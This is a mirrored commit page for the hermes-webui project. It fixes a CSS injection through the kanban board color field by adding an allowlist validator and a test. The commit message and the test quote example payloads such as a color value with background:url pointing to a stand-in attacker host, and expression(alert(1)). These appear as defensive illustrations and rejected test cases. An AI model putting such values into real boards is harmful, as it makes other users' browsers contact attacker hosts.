mirror of
https://github.com/nesquena/hermes-webui.git
synced 2026-05-26 03:30:36 +00:00
fix(kanban): block CSS injection via board.color into switcher style
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
+16
-1
@@ -1619,6 +1619,20 @@ async function loadKanbanBoards(){
|
|||||||
_renderKanbanBoardMenu(boards, active);
|
_renderKanbanBoardMenu(boards, active);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Restrict board.color to CSS hex codes or simple named colors before
|
||||||
|
// interpolating into a `style=""` attribute. esc() HTML-escapes but
|
||||||
|
// does not block CSS-context injection (`color:red;background:url(...)`
|
||||||
|
// would otherwise exfiltrate page state via an attacker-controlled URL,
|
||||||
|
// since neither this bridge nor the agent's kanban_db validates color).
|
||||||
|
function _kanbanSafeColor(c){
|
||||||
|
if (typeof c !== 'string') return '';
|
||||||
|
const s = c.trim();
|
||||||
|
if (!s) return '';
|
||||||
|
if (/^#[0-9a-fA-F]{3,8}$/.test(s)) return s;
|
||||||
|
if (/^[a-zA-Z]{3,32}$/.test(s)) return s;
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
function _renderKanbanBoardMenu(boards, current){
|
function _renderKanbanBoardMenu(boards, current){
|
||||||
const menu = document.getElementById('kanbanBoardSwitcherMenu');
|
const menu = document.getElementById('kanbanBoardSwitcherMenu');
|
||||||
if (!menu) return;
|
if (!menu) return;
|
||||||
@@ -1626,7 +1640,8 @@ function _renderKanbanBoardMenu(boards, current){
|
|||||||
const isCurrent = b.slug === current;
|
const isCurrent = b.slug === current;
|
||||||
const total = (b.total != null) ? b.total : (b.counts ? Object.values(b.counts).reduce((a,c)=>a+Number(c||0),0) : 0);
|
const total = (b.total != null) ? b.total : (b.counts ? Object.values(b.counts).reduce((a,c)=>a+Number(c||0),0) : 0);
|
||||||
const icon = b.icon ? esc(b.icon) : '';
|
const icon = b.icon ? esc(b.icon) : '';
|
||||||
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
|
const safeColor = _kanbanSafeColor(b.color);
|
||||||
|
const colorStyle = safeColor ? `color:${safeColor}` : '';
|
||||||
return `<button type="button" class="kanban-board-switcher-item ${isCurrent ? 'is-current' : ''}" role="menuitem" data-board-slug="${esc(b.slug)}" onclick="switchKanbanBoard('${esc(b.slug)}')">
|
return `<button type="button" class="kanban-board-switcher-item ${isCurrent ? 'is-current' : ''}" role="menuitem" data-board-slug="${esc(b.slug)}" onclick="switchKanbanBoard('${esc(b.slug)}')">
|
||||||
<span class="kanban-board-switcher-item-icon" style="${colorStyle}">${icon || (isCurrent ? '✓' : '')}</span>
|
<span class="kanban-board-switcher-item-icon" style="${colorStyle}">${icon || (isCurrent ? '✓' : '')}</span>
|
||||||
<span class="kanban-board-switcher-item-name">${esc(b.name || b.slug)}</span>
|
<span class="kanban-board-switcher-item-name">${esc(b.name || b.slug)}</span>
|
||||||
|
|||||||
@@ -463,3 +463,58 @@ def test_kanban_sse_refresh_is_debounced():
|
|||||||
assert "_kanbanRefreshScheduled" in PANELS
|
assert "_kanbanRefreshScheduled" in PANELS
|
||||||
# 250ms debounce window
|
# 250ms debounce window
|
||||||
assert "}, 250)" in PANELS
|
assert "}, 250)" in PANELS
|
||||||
|
|
||||||
|
|
||||||
|
def test_kanban_board_color_is_validated_against_css_injection():
|
||||||
|
"""`board.color` is interpolated into a `style=""` attribute on the
|
||||||
|
switcher icon. esc() escapes HTML but does NOT prevent CSS-context
|
||||||
|
injection: an attacker (with WebUI write access, or via the agent CLI
|
||||||
|
which doesn't validate either) could set color to
|
||||||
|
`red;background:url('http://attacker/exfil')` and have the malicious
|
||||||
|
URL fetched whenever any user opens the board switcher.
|
||||||
|
|
||||||
|
Drive the helper through Node and assert that named colors / hex
|
||||||
|
codes are accepted while every CSS-injection shape is rejected.
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
script = """
|
||||||
|
const fs = require('fs');
|
||||||
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
||||||
|
const start = src.indexOf('function _kanbanSafeColor');
|
||||||
|
if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
|
||||||
|
// Grab the function body up to and including the closing `}` line.
|
||||||
|
const tail = src.slice(start);
|
||||||
|
const end = tail.indexOf('\\n}\\n') + 2;
|
||||||
|
const fn = tail.slice(0, end);
|
||||||
|
const ctx = {};
|
||||||
|
new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
|
||||||
|
const cases = [
|
||||||
|
['#fff', '#fff'],
|
||||||
|
['#3b82f6', '#3b82f6'],
|
||||||
|
['red', 'red'],
|
||||||
|
['Blue', 'Blue'],
|
||||||
|
// injection attempts must all collapse to '' so the renderer drops
|
||||||
|
// the `color:` rule entirely.
|
||||||
|
["red;background:url('http://attacker/exfil')", ''],
|
||||||
|
['red;background-image:url(http://x)', ''],
|
||||||
|
['expression(alert(1))', ''],
|
||||||
|
['#zzz', ''],
|
||||||
|
['', ''],
|
||||||
|
[null, ''],
|
||||||
|
[undefined, ''],
|
||||||
|
];
|
||||||
|
const results = cases.map(([input, expected]) => ({
|
||||||
|
input, expected, actual: ctx.fn(input)
|
||||||
|
}));
|
||||||
|
console.log(JSON.stringify(results));
|
||||||
|
"""
|
||||||
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
||||||
|
results = json.loads(result.stdout)
|
||||||
|
failures = [r for r in results if r["actual"] != r["expected"]]
|
||||||
|
assert not failures, f"_kanbanSafeColor mismatches: {failures}"
|
||||||
|
|
||||||
|
# The renderer must call the helper, not pass b.color through esc()
|
||||||
|
# directly into the style attribute.
|
||||||
|
assert "_kanbanSafeColor(b.color)" in PANELS
|
||||||
|
assert "color:${esc(b.color)}" not in PANELS
|
||||||
|
|||||||
Reference in New Issue
Block a user